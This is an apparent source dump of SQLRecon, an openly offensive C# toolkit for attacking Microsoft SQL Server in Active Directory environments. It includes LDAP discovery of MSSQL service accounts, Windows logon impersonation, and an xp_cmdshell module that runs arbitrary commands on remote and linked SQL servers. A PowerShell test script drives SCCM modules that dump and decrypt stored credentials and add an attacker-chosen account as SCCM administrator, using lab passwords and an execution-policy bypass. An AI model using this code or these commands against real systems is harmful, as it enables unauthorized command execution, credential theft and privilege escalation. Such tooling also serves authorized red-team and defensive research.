├── images ├── sqlrecon-40.png └── sqlrecon-original.png ├── SQLRecon ├── SQLRecon │ ├── App.config │ ├── utilities │ │ ├── DomainSearcher.cs │ │ ├── Random.cs │ │ ├── Ldap.cs │ │ ├── Impersonate.cs │ │ ├── SQLAuthentication.cs │ │ ├── FormatQuery.cs │ │ ├── SetAuthenticationType.cs │ │ ├── Help.cs │ │ └── Print.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ └── app.manifest │ ├── Program.cs │ ├── modules │ │ ├── ExecuteQuery.cs │ │ ├── GetDomainSPNs.cs │ │ ├── XPCmdShell.cs │ │ ├── OleAutomation.cs │ │ ├── Info.cs │ │ ├── Roles.cs │ │ └── ConfigureOptions.cs │ ├── tests │ │ ├── SQLRecon-SCCM-Modules-Test.ps1 │ │ ├── SQLRecon-Linked-Modules-Test.ps1 │ │ ├── SQLRecon-Linked-Chain-Modules-Test.ps1 │ │ ├── SQLRecon-Impersonation-Modules-Test.ps1 │ │ └── SQLRecon-Standard-Modules-Test.ps1 │ ├── commands │ │ ├── EnumerationModules.cs │ │ ├── GlobalVariables.cs │ │ └── Queries.cs │ └── SQLRecon.csproj └── SQLRecon.sln ├── LICENSE └── .gitignore /images/sqlrecon-40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skahwah/SQLRecon/HEAD/images/sqlrecon-40.png -------------------------------------------------------------------------------- /images/sqlrecon-original.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skahwah/SQLRecon/HEAD/images/sqlrecon-original.png -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/DomainSearcher.cs: -------------------------------------------------------------------------------- 1 | using System.DirectoryServices; 2 | 3 | namespace SQLRecon.Utilities 4 | { 5 | internal sealed class DomainSearcher 6 | { 7 | internal DirectoryEntry Directory { get; } 8 | 9 | internal DomainSearcher() 10 | { 11 | Directory = new DirectoryEntry(); 12 | } 13 | 14 | internal DomainSearcher(string path) 15 | { 16 | Directory = new DirectoryEntry(path); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/Random.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | 4 | namespace SQLRecon.Utilities 5 | { 6 | internal abstract class RandomStr 7 | { 8 | private static readonly Random _rand = new(); 9 | 10 | /// 11 | /// The Generate method will generate a random string. 12 | /// 13 | /// 14 | /// 15 | internal static string Generate(int length) 16 | { 17 | const string characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | 21 | for (int i = 0; i < length; i++) 22 | { 23 | sb.Append(characters[_rand.Next(0, characters.Length)]); 24 | } 25 | 26 | return sb.ToString(); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("SQLRecon")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("SQLRecon")] 12 | [assembly: AssemblyCopyright("Copyright © 2025")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("612c7c82-d501-417a-b8db-73204fdfda06")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("3.10.0")] 35 | [assembly: AssemblyFileVersion("3.10.0")] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2023, Sanjiv Kawa 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30907.101 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SQLRecon", "SQLRecon\SQLRecon.csproj", "{612C7C82-D501-417A-B8DB-73204FDFDA06}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|x64.ActiveCfg = Release|x64 17 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|x64.Build.0 = Release|x64 18 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|x64.ActiveCfg = Release|x64 21 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|x64.Build.0 = Release|x64 22 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1ADC0E55-2130-44AA-818E-BC8942683771} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/Ldap.cs: -------------------------------------------------------------------------------- 1 | using System.Collections; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | 5 | namespace SQLRecon.Utilities 6 | { 7 | internal sealed class Ldap 8 | { 9 | private readonly DomainSearcher _searcher; 10 | 11 | internal Ldap(DomainSearcher searcher) 12 | { 13 | _searcher = searcher; 14 | } 15 | 16 | /// 17 | /// The ExecuteLdapQuery method allows LDAP queries to be executed 18 | /// against a domain controller. 19 | /// 20 | /// 21 | /// 22 | /// 23 | internal Dictionary> ExecuteLdapQuery(string filter, string[] properties = null) 24 | { 25 | DirectorySearcher searcher = new DirectorySearcher(_searcher.Directory) 26 | { 27 | Filter = filter, 28 | }; 29 | 30 | if (properties is not null) 31 | { 32 | searcher.PropertiesToLoad.AddRange(properties); 33 | } 34 | 35 | SearchResultCollection searchResultCollection = searcher.FindAll(); 36 | 37 | Dictionary> resultDictionary = new Dictionary>(); 38 | 39 | foreach (SearchResult searchResult in searchResultCollection) 40 | { 41 | resultDictionary.Add(searchResult.Path, null); 42 | 43 | Dictionary dictionary = new Dictionary(); 44 | 45 | foreach (DictionaryEntry entry in searchResult.Properties) 46 | { 47 | List values = new List(); 48 | 49 | foreach (object value in (ResultPropertyValueCollection)entry.Value) 50 | values.Add(value); 51 | 52 | dictionary.Add(entry.Key.ToString(), values.ToArray()); 53 | } 54 | 55 | resultDictionary[searchResult.Path] = dictionary; 56 | } 57 | 58 | return resultDictionary; 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/Impersonate.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32.SafeHandles; 2 | using System; 3 | using System.Runtime.ConstrainedExecution; 4 | using System.Runtime.InteropServices; 5 | using System.Security; 6 | using System.Security.Permissions; 7 | using System.Security.Principal; 8 | 9 | namespace SQLRecon.Utilities 10 | { 11 | // Reference: https://t.ly/eVP0J 12 | [PermissionSet(SecurityAction.Demand, Name = "FullTrust")] 13 | 14 | internal class Impersonate : IDisposable 15 | { 16 | private readonly SafeTokenHandle _handle; 17 | private readonly WindowsImpersonationContext _context; 18 | 19 | const int Logon32LogonNewCredentials = 9; 20 | 21 | internal Impersonate(string domain, string username, string password) 22 | { 23 | bool ok = LogonUser(username, domain, password, 24 | Logon32LogonNewCredentials, 0, out this._handle); 25 | if (!ok) 26 | { 27 | int errorCode = Marshal.GetLastWin32Error(); 28 | throw new ApplicationException( 29 | Print.Error($"Could not impersonate the elevated user. LogonUser returned error code {errorCode}.")); 30 | } 31 | 32 | this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle()); 33 | } 34 | 35 | public void Dispose() 36 | { 37 | this._context.Dispose(); 38 | this._handle.Dispose(); 39 | } 40 | 41 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 42 | private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, 43 | int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); 44 | 45 | private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid 46 | { 47 | private SafeTokenHandle() 48 | : base(true) { } 49 | 50 | [DllImport("kernel32.dll")] 51 | [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] 52 | [SuppressUnmanagedCodeSecurity] 53 | [return: MarshalAs(UnmanagedType.Bool)] 54 | private static extern bool CloseHandle(IntPtr handle); 55 | 56 | protected override bool ReleaseHandle() 57 | { 58 | return CloseHandle(handle); 59 | } 60 | } 61 | } 62 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using SQLRecon.Commands; 3 | using SQLRecon.Utilities; 4 | 5 | namespace SQLRecon 6 | { 7 | internal abstract class Program 8 | { 9 | static void Main(string[] args) 10 | { 11 | if (args.Length == 0) 12 | { 13 | Help _ = new(); 14 | } 15 | else 16 | { 17 | try 18 | { 19 | // Take arguments supplied via the command line, parse them, and assign to 20 | // global variables located in GlobalVariables.cs. 21 | ArgumentLogic.ParseArguments(args); 22 | 23 | // Enumeration modules do not need SQL authentication to be set. 24 | if (Var.ParsedArguments.ContainsKey("enum")) 25 | { 26 | ArgumentLogic.EvaluateEnumerationModuleArguments(); 27 | } 28 | // SQL modules need SQL authentication to be set. 29 | else if (Var.ParsedArguments.ContainsKey("module")) 30 | { 31 | // Set the authentication type, if conditions have passed, evaluate the arguments. 32 | if (SetAuthenticationType.EvaluateAuthenticationType(Var.AuthenticationType)) 33 | { 34 | ArgumentLogic.EvaluateSqlModuleArguments(); 35 | } 36 | } 37 | // SCCM modules need SQL authentication to be set. 38 | else if (Var.ParsedArguments.ContainsKey("sccm")) 39 | { 40 | // Set the authentication type, if conditions have passed, evaluate the arguments. 41 | if (SetAuthenticationType.EvaluateAuthenticationType(Var.AuthenticationType)) 42 | { 43 | ArgumentLogic.EvaluateSccmModuleArguments(); 44 | } 45 | } 46 | else 47 | { 48 | // Go no further. 49 | Print.Error("Use the '/help' flag to display the help menu.", true); 50 | } 51 | } 52 | catch (Exception) 53 | { 54 | // Go no further. 55 | } 56 | } 57 | } 58 | } 59 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/Properties/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 50 | 58 | 59 | 73 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/ExecuteQuery.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Text; 4 | using SQLRecon.Commands; 5 | using SQLRecon.Utilities; 6 | 7 | namespace SQLRecon.Modules 8 | { 9 | internal abstract class Sql 10 | { 11 | /// 12 | /// The Query method is used to execute a query against a SQL 13 | /// server. This method expects that the output only returns one value 14 | /// on a single line and does not account for multi-line returns. 15 | /// 16 | /// 17 | /// 18 | /// 19 | internal static string Query(SqlConnection con, string query) 20 | { 21 | // If the verbose flag is present, then the query will still execute on the SQL server 22 | // and print the SQL query to console. 23 | if (Var.Verbose) 24 | { 25 | Print.Debug("Query:"); 26 | Print.Nested(query, true); 27 | } 28 | 29 | // If the debug flag is present, then the query will not execute on the SQL server 30 | // and print the SQL query to console. 31 | if (Var.Debug) 32 | { 33 | Print.Debug("Query:"); 34 | Print.Nested(query, true); 35 | return ""; 36 | } 37 | 38 | string sqlString = ""; 39 | 40 | try 41 | { 42 | SqlCommand command = new(query, con); 43 | SqlDataReader reader = command.ExecuteReader(); 44 | while (reader.Read()) 45 | { 46 | sqlString += reader[0]; 47 | } 48 | reader.Close(); 49 | } 50 | catch (SqlException ex) 51 | { 52 | sqlString += Print.Error($"{ex.Errors[0].Message}."); 53 | } 54 | catch (InvalidOperationException ex) 55 | { 56 | sqlString += Print.Error($"{ex}."); 57 | } 58 | 59 | return sqlString; 60 | } 61 | 62 | /// 63 | /// The CustomQuery method is used to execute a query against a SQL 64 | /// server. This method expects that the output returns multiple lines. 65 | /// 66 | /// 67 | /// 68 | /// 69 | internal static string CustomQuery(SqlConnection con, string query) 70 | { 71 | // If the verbose flag is present, then the query will still execute on the SQL server 72 | // and print the SQL query to console. 73 | if (Var.Verbose) 74 | { 75 | Print.Debug("Query:"); 76 | Print.Nested(query, true); 77 | } 78 | 79 | // If the debug flag is present, then the query will not execute on the SQL server 80 | // and print the SQL query to console. 81 | if (Var.Debug) 82 | { 83 | Print.Debug("Query:"); 84 | Print.Nested(query, true); 85 | return ""; 86 | } 87 | 88 | StringBuilder sqlStringBuilder = new(); 89 | 90 | try 91 | { 92 | SqlCommand command = new(query, con); 93 | SqlDataReader reader = command.ExecuteReader(); 94 | 95 | using (reader) 96 | { 97 | sqlStringBuilder.Append(Print.ConvertSqlDataReaderToMarkdownTable(reader)); 98 | } 99 | reader.Close(); 100 | } 101 | catch (SqlException ex) 102 | { 103 | sqlStringBuilder.Append(Print.Error($"{ex.Errors[0].Message}")); 104 | } 105 | catch (InvalidOperationException ex) 106 | { 107 | sqlStringBuilder.Append(Print.Error(ex.ToString())); 108 | } 109 | return sqlStringBuilder.ToString(); 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/GetDomainSPNs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Security.Principal; 4 | using System.Net; 5 | using SQLRecon.Utilities; 6 | 7 | namespace SQLRecon.Modules 8 | { 9 | internal static class DomainSpns 10 | { 11 | /// 12 | /// The GetSqlSpns method will obtain any SQL servers from 13 | /// Active Directory if the SQL server has an associated SPN. 14 | /// 15 | /// 16 | internal static void GetSqlSpns(string domain = null) 17 | { 18 | Print.Status("Looking for MSSQL SPNs ...", true); 19 | 20 | DomainSearcher searcher = string.IsNullOrWhiteSpace(domain) 21 | ? new DomainSearcher() 22 | : new DomainSearcher($"LDAP://{domain}"); 23 | 24 | Ldap ldap = new Ldap(searcher); 25 | 26 | const string ldapFilter = "(&(sAMAccountType=805306368)(servicePrincipalName=MSSQL*))"; 27 | string[] properties = new[] { "cn", "samaccountname", "objectsid", "serviceprincipalname", "lastlogon" }; 28 | 29 | Dictionary> results = ldap.ExecuteLdapQuery(ldapFilter, properties); 30 | List instances = new List(); 31 | 32 | foreach (Dictionary result in results.Values) 33 | { 34 | foreach (string spn in result["serviceprincipalname"]) 35 | { 36 | SqlInstance sqlInstance = new SqlInstance(); 37 | 38 | // parse the SPN string 39 | // MSSQLSvc/sql-1.testlab.local:1433 40 | // MSSQLSvc/sql-1.testlab.local 41 | 42 | int i1 = spn.IndexOf('/'); 43 | 44 | string serviceName = spn.Substring(0, i1); 45 | string instance = spn.Substring(i1 + 1, spn.Length - i1 - 1); 46 | 47 | int i2 = instance.IndexOf(':'); 48 | 49 | string computerName = i2 == -1 50 | ? instance 51 | : instance.Substring(0, i2); 52 | 53 | sqlInstance.ComputerName = computerName; 54 | IPAddress[] addresses = Dns.GetHostAddresses(computerName); 55 | sqlInstance.IpAddress = addresses.Length > 0 ? addresses[0].ToString() : "No IP found"; 56 | sqlInstance.Instance = instance; 57 | sqlInstance.ServiceName = serviceName; 58 | sqlInstance.Spn = spn; 59 | 60 | sqlInstance.AccountName = result["samaccountname"][0].ToString(); 61 | sqlInstance.AccountCn = result["cn"][0].ToString(); 62 | 63 | byte[] sidBytes = (byte[])result["objectsid"][0]; 64 | sqlInstance.AccountSid = new SecurityIdentifier(sidBytes, 0).ToString(); 65 | 66 | long lastLogon = (long)result["lastlogon"][0]; 67 | sqlInstance.LastLogon = DateTime.FromBinary(lastLogon).ToString("G"); 68 | 69 | instances.Add(sqlInstance); 70 | } 71 | } 72 | 73 | Print.Status($"{instances.Count} found.", true); 74 | 75 | instances.ForEach(i => i.PrintInfo()); 76 | } 77 | private sealed class SqlInstance 78 | { 79 | internal string ComputerName { get; set; } 80 | internal string IpAddress { get; set; } 81 | internal string Instance { get; set; } 82 | internal string AccountSid { get; set; } 83 | internal string AccountName { get; set; } 84 | internal string AccountCn { get; set; } 85 | internal string ServiceName { get; set; } 86 | internal string Spn { get; set; } 87 | internal string LastLogon { get; set; } 88 | 89 | internal void PrintInfo() 90 | { 91 | Console.WriteLine(); 92 | 93 | Dictionary spnInfo = new Dictionary 94 | { 95 | { "Computer Name", ComputerName }, 96 | { "IP Address", IpAddress }, 97 | { "Instance", Instance }, 98 | { "Account SID", AccountSid }, 99 | { "Account Name", AccountName }, 100 | { "Account CN", AccountCn }, 101 | { "Service", ServiceName }, 102 | { "SPN", Spn }, 103 | { "Last Logon", LastLogon } 104 | }; 105 | 106 | Console.WriteLine(Print.ConvertDictionaryToMarkdownTable(spnInfo, "SPN Objects", "Value")); 107 | } 108 | } 109 | } 110 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/XPCmdShell.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Data.SqlClient; 3 | using SQLRecon.Commands; 4 | using SQLRecon.Utilities; 5 | 6 | namespace SQLRecon.Modules 7 | { 8 | internal abstract class XpCmdShell 9 | { 10 | /// 11 | /// The StandardOrImpersonation method executes an arbitrary command on 12 | /// a remote SQL server using xp_cmdshell. Impersonation is supported. 13 | /// 14 | /// 15 | /// 16 | /// 17 | internal static void StandardOrImpersonation(SqlConnection con, string cmd, string impersonate = null) 18 | { 19 | // The queries dictionary contains all queries used by this module 20 | Dictionary queries = new Dictionary 21 | { 22 | { "xpcmd", string.Format(Query.XpCmd, cmd)} 23 | }; 24 | 25 | // If impersonation is set, then prepend all queries with the 26 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 27 | if (!string.IsNullOrEmpty(impersonate)) 28 | { 29 | queries = Format.ImpersonationDictionary(impersonate, queries); 30 | } 31 | 32 | // If /debug is provided, only print the queries then gracefully exit the program. 33 | if (Print.DebugQueries(queries)) 34 | { 35 | // Go no further 36 | return; 37 | } 38 | 39 | // First check to see if xp_cmdshell is enabled. 40 | // Impersonation is supported. 41 | bool status = (string.IsNullOrEmpty(impersonate)) 42 | ? Config.ModuleStatus(con, "xp_cmdshell") 43 | : Config.ModuleStatus(con, "xp_cmdshell", impersonate); 44 | 45 | if (status == false) 46 | { 47 | Print.Error("You need to enable xp_cmdshell (enablexp).", true); 48 | // Go no further. 49 | return; 50 | } 51 | 52 | _printStatus(cmd, Sql.CustomQuery(con, queries["xpcmd"])); 53 | } 54 | 55 | /// 56 | /// The LinkedOrChain method executes an arbitrary command on 57 | /// a remote linked SQL server using xp_cmdshell. 58 | /// Execution against the last SQL server specified in a chain of linked SQL servers is supported. 59 | /// 60 | /// 61 | /// 62 | /// 63 | /// 64 | internal static void LinkedOrChain(SqlConnection con, string cmd, string linkedSqlServer, string[] linkedSqlServerChain = null ) 65 | { 66 | bool status; 67 | 68 | // The queries dictionary contains all queries used by this module 69 | // The dictionary key name for RPC formatted queries must start with RPC 70 | Dictionary queries = new Dictionary 71 | { 72 | { "xpcmd", string.Format(Query.LinkedXpCmd, cmd)} 73 | }; 74 | 75 | if (linkedSqlServerChain == null) 76 | { 77 | // Format all queries so that they are compatible for execution on a linked SQL server. 78 | queries = Format.LinkedDictionary(linkedSqlServer, queries); 79 | 80 | // First check to see if xp_cmdshell is enabled. 81 | status = Config.LinkedModuleStatus(con, "xp_cmdshell", linkedSqlServer); 82 | } 83 | else 84 | { 85 | // Format all queries so that they are compatible for execution on the last SQL server specified in a linked chain. 86 | queries = Format.LinkedChainDictionary(linkedSqlServerChain, queries); 87 | 88 | // First check to see if xp_cmdshell is enabled. 89 | status = Config.LinkedModuleStatus(con, "xp_cmdshell", null, linkedSqlServerChain); 90 | } 91 | 92 | // If /debug is provided, only print the queries then gracefully exit the program. 93 | if (Print.DebugQueries(queries)) 94 | { 95 | // Go no further 96 | return; 97 | } 98 | 99 | if (status == false) 100 | { 101 | Print.Error("You need to enable xp_cmdshell (enablexp).", true); 102 | // Go no further. 103 | return; 104 | } 105 | 106 | _printStatus(cmd, Sql.CustomQuery(con, queries["xpcmd"])); 107 | } 108 | 109 | /// 110 | /// The _printStatus method will display the status of the 111 | /// xp_cmdshell command execution. 112 | /// 113 | /// 114 | /// 115 | private static void _printStatus(string cmd, string sqlOutput) 116 | { 117 | if (sqlOutput.ToLower().Contains("permission")) 118 | { 119 | Print.Error("You do not have the correct privileges to perform this action.", true); 120 | } 121 | else if (sqlOutput.ToLower().Contains("execution timeout expired")) 122 | { 123 | Print.Status($"'{cmd}' executed.", true); 124 | 125 | } 126 | else if (sqlOutput.ToLower().Contains("blocked")) 127 | { 128 | Print.Error("You need to enable xp_cmdshell.", true); 129 | } 130 | else 131 | { 132 | Print.IsOutputEmpty(sqlOutput, true); 133 | } 134 | } 135 | } 136 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/tests/SQLRecon-SCCM-Modules-Test.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Execution instructions: 3 | powershell.exe -nop -exec bypass .\SQLRecon-SCCM-Modules-Test.ps1 4 | #> 5 | 6 | <# 7 | The $global:* variables do not need to be changed. 8 | The only exception is $global:modules, which can be 9 | changed to match the number of test cases you execute. 10 | #> 11 | $global:timeout = 1 12 | $global:count = 1 13 | $global:modules = 22 14 | $global:timestamp = Get-Date -Format "MM-dd-yyyy-HH-mm" 15 | 16 | <# 17 | The $authentication variable acts as a quick way to 18 | switch the authentication type for the following commands. 19 | #> 20 | $authentication = "WinToken" 21 | #$authentication = "WinDomain /domain:kawalabs /username:admin /password:Password123" 22 | #$authentication = "Local /username:sa /password:Password123" 23 | 24 | <# 25 | The following variables can be changed. 26 | - $sqlreconPath is the path to where SQLRecon is on disk. 27 | - $server is the hostname or IP of an SCCM SQL server. 28 | - $database is the name of the SCCM database, this will start with a 'CM_' 29 | - $outputPath is where you want to output the results of this script on disk in markdown. 30 | keep in mind that the path can not have special characters like ':'. '-' is fine. 31 | #> 32 | $sqlreconPath = ".\SQLRecon.exe" 33 | $server = "MECM01" 34 | $database = "CM_KAW" 35 | $impersonateUser = "sa" 36 | $authenticationFormatted = $authentication.replace(' ','-').replace('/','').replace('.','-').replace(':','-') 37 | $outputPath = $PSScriptRoot + "\sqlrecon-sccm-$authenticationFormatted-$global:timestamp.md" 38 | 39 | <# 40 | .Description 41 | The Execute function executes a supplied SQLRecon command. 42 | #> 43 | Function Execute($command) 44 | { 45 | Write-Output "($global:count/$global:modules)" 46 | Write-Output $command 47 | Write-Output "" 48 | Write-Output "Expected Output:" 49 | Write-Output '```' 50 | Invoke-Expression $command 51 | Write-Output '```' 52 | Write-Output "" 53 | Invoke-Expression "timeout /t $global:timeout" | Out-Null 54 | $global:count++ 55 | } 56 | 57 | # Configuring output to file. 58 | $ErrorActionPreference="SilentlyContinue" 59 | Stop-Transcript | out-null 60 | $ErrorActionPreference = "Continue" 61 | Start-Transcript -path $outputPath 62 | 63 | Write-Output "---------------------------------------------------------------------" 64 | Write-Output "[+] SQLRecon - SCCM Modules Test Cases" 65 | Write-Output "[+] Variables Set:" 66 | Write-Output " |-> SQLRecon Path: $sqlreconPath" 67 | Write-Output " |-> Ouput Path: $outputPath" 68 | Write-Output " |-> Authentication: $authentication" 69 | Write-Output " |-> Impersonating User: $impersonateUser" 70 | Write-Output " |-> SCCM SQL Server: $server" 71 | Write-Output " |-> SCCM Database: $database" 72 | Write-Output "[+] Starting test cases against $modules modules at $global:timestamp" 73 | Write-Output "---------------------------------------------------------------------" 74 | Write-Output "" 75 | 76 | # Add test cases in this area. In this case there are 22, which is why $global:modules is set to 22. 77 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:users" 78 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:sites" 79 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:logons" 80 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:tasklist" 81 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:taskdata" 82 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:credentials" 83 | Write-Output "" 84 | Write-Output "[+] Executing Privileged Commands" 85 | Write-Output "" 86 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:decryptcredentials" 87 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:addadmin /user:current /sid:current" 88 | Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /sccm:addadmin /user:KAWALABS\acon /sid:S-1-5-21-3113994310-608060616-2731373765-1391" 89 | # Execute "$sqlreconPath /auth:$authentication /host:$server /database:$database /module:removeadmin /user: /remove:" 90 | Write-Output "" 91 | Write-Output "[+] Executing Impersonation Commands" 92 | Write-Output "" 93 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:users" 94 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:sites" 95 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:logons" 96 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:tasklist" 97 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:taskdata" 98 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:credentials" 99 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:scriptdata" 100 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:cidata" 101 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:decryptcredentials" 102 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:addadmin /user:current /sid:current" 103 | Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /sccm:addadmin /user:KAWALABS\acon /sid:S-1-5-21-3113994310-608060616-2731373765-1391" 104 | # Execute "$sqlreconPath /auth:$authentication /i:$impersonateUser /host:$server /database:$database /module:removeadmin /user: /remove:" 105 | Write-Output "" 106 | Write-Output "---------------------------------------------------------------------" 107 | Write-Output "[+] SQLRecon - SCCM Modules Test Cases" 108 | Write-Output "[+] Completed test cases against $modules modules at $global:timestamp" 109 | Write-Output "---------------------------------------------------------------------" 110 | Stop-Transcript -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/commands/EnumerationModules.cs: 